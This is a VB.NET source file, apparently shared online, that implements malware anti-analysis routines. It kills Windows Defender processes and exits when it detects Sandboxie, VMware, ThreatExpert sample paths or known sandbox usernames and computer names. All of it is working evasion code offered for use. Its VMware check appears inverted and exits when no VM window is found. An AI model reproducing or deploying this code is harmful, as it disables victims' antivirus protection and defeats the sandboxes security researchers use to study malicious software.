74 lines
2.3 KiB
VB.net
74 lines
2.3 KiB
VB.net
'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx
|
|
Public Class ant
|
|
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
|
|
|
|
Public Shared Sub mofo()
|
|
seekit("MSASCui")
|
|
seekit("msmpeng")
|
|
antiSandboxie()
|
|
IsVmWare()
|
|
AntiThreatExpert()
|
|
checkUsername()
|
|
checkComputername()
|
|
End Sub
|
|
|
|
Private Shared Sub seekit(ByVal gay1 As String)
|
|
For Each p As Process In Process.GetProcesses()
|
|
If p.ProcessName.Contains(gay1) Then
|
|
Try
|
|
p.Kill()
|
|
Catch ex As Exception
|
|
End Try
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Private Shared Sub checkUsername()
|
|
Dim Usernames As New List(Of String)
|
|
Usernames.Add("UserName")
|
|
Usernames.Add("User")
|
|
Usernames.Add("honey")
|
|
Usernames.Add("sandbox")
|
|
Usernames.Add("currentuser")
|
|
Usernames.Add("User")
|
|
For Each name As String In Usernames
|
|
If Environment.UserName = name Then
|
|
Environment.Exit(0)
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Private Shared Sub checkComputername()
|
|
Dim Computername As New List(Of String)
|
|
Computername.Add("ComputerName")
|
|
Computername.Add("COMPUTERNAME")
|
|
Computername.Add("DELL-D3E62F7E26")
|
|
Computername.Add("DWI-9625AC2E275")
|
|
Computername.Add("MICHAEL-F156CF7")
|
|
For Each name As String In Computername
|
|
If Environment.MachineName = name Then
|
|
Environment.Exit(0)
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Public Shared Sub antiSandboxie()
|
|
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
|
|
Environment.Exit(0)
|
|
End If
|
|
End Sub
|
|
Public Shared Sub IsVmWare()
|
|
Dim Hndl As Long
|
|
Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
|
|
If Hndl = 0 Then
|
|
Environment.Exit(0)
|
|
End If
|
|
End Sub
|
|
|
|
Private Shared Sub AntiThreatExpert()
|
|
If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
|
|
Environment.Exit(0)
|
|
End If
|
|
End Sub
|
|
End Class
|